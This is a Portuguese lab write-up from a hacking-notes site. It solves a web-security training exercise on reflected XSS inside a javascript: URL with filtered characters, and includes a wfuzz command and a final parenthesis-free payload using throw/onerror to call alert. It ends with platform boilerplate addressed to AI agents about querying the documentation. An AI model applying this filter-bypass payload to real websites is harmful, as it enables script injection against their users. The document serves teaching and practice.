> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-in-javascript-url-with-limited-characters.md).
# XSS em uma URL JavaScript com Caracteres Limitados
### XSS refletido em uma URL JavaScript com alguns caracteres bloqueados
#### Objetivo
Usando uma vulnerabilidade de XSS refletido em uma `JavaScript:` URL para mostrar `alert` contendo a `1337` string (a `1337` string deve estar presente em algum lugar da mensagem).
A aplicação reflete nossa entrada em uma URL JavaScript. À primeira vista, o desafio parece simples, mas a aplicação filtra certos caracteres para evitar ataques XSS. Precisamos encontrar uma forma de escapar do contexto JavaScript apesar dessas restrições e disparar `alert(...)` contendo `1337`.
#### Análise do código-fonte observado
No código-fonte você pode encontrar o seguinte link:
{% code overflow="wrap" %}
```javascript
Voltar ao Blog
```
{% endcode %}
Depois de decodificar a URL, você obtém:
{% code overflow="wrap" %}
```javascript
Voltar ao Blog
```
{% endcode %}
Clicar em Voltar ao Blog executa esta URL JavaScript. Ao interceptar a requisição, vemos que é feita uma chamada para `/analytics`. O `postId` o parâmetro é obtido da URL (`/post?postId=...`) e refletido no corpo da consulta de analytics.
#### Primeira tentativa — quebra do parsing
Ao injetar um único apóstrofo, o parsing é quebrado (o ID se torna inválido):
```javascript
2'},{x:'
```
O apóstrofo quebra a estrutura, o que mostra que o valor é inserido em um contexto em que aspas têm impacto.
#### Fuzzing de caracteres especiais
Testamos rapidamente quais caracteres especiais produzem uma resposta válida (com `wfuzz` e o `special-chars.txt` lista). Exemplo de comando usado:
{% code overflow="wrap" %}
```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```
{% endcode %}
Os resultados mostram que `&` e `#` produzem um código 200 — eles são aceitos pelo parser e permitem inserir sequências que fecham corretamente a estrutura.
Interpretação observada:
```javascript
post?postId=2&
```
#### Construção do vetor de escape
Ao fechar corretamente o valor e inserir código, você pode obter:
```javascript
post?postId=2&'},{x:''
```
Aqui `x` permanece vazio e a sintaxe é aceita.
Então tentamos adicionar um `alert` diretamente:
```javascript
post?postId=2&'},alert(1),{x:''
```
Mas `()` os parênteses de `alert(1)` são removidos pelo filtro — então você precisa contornar a obrigação de usar `()`.
#### Contornando sem parênteses
É possível contornar o uso de parênteses e usar expressões JavaScript mais criativas para invocar `alert` por `1337` na saída. O payload final usado é:
```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.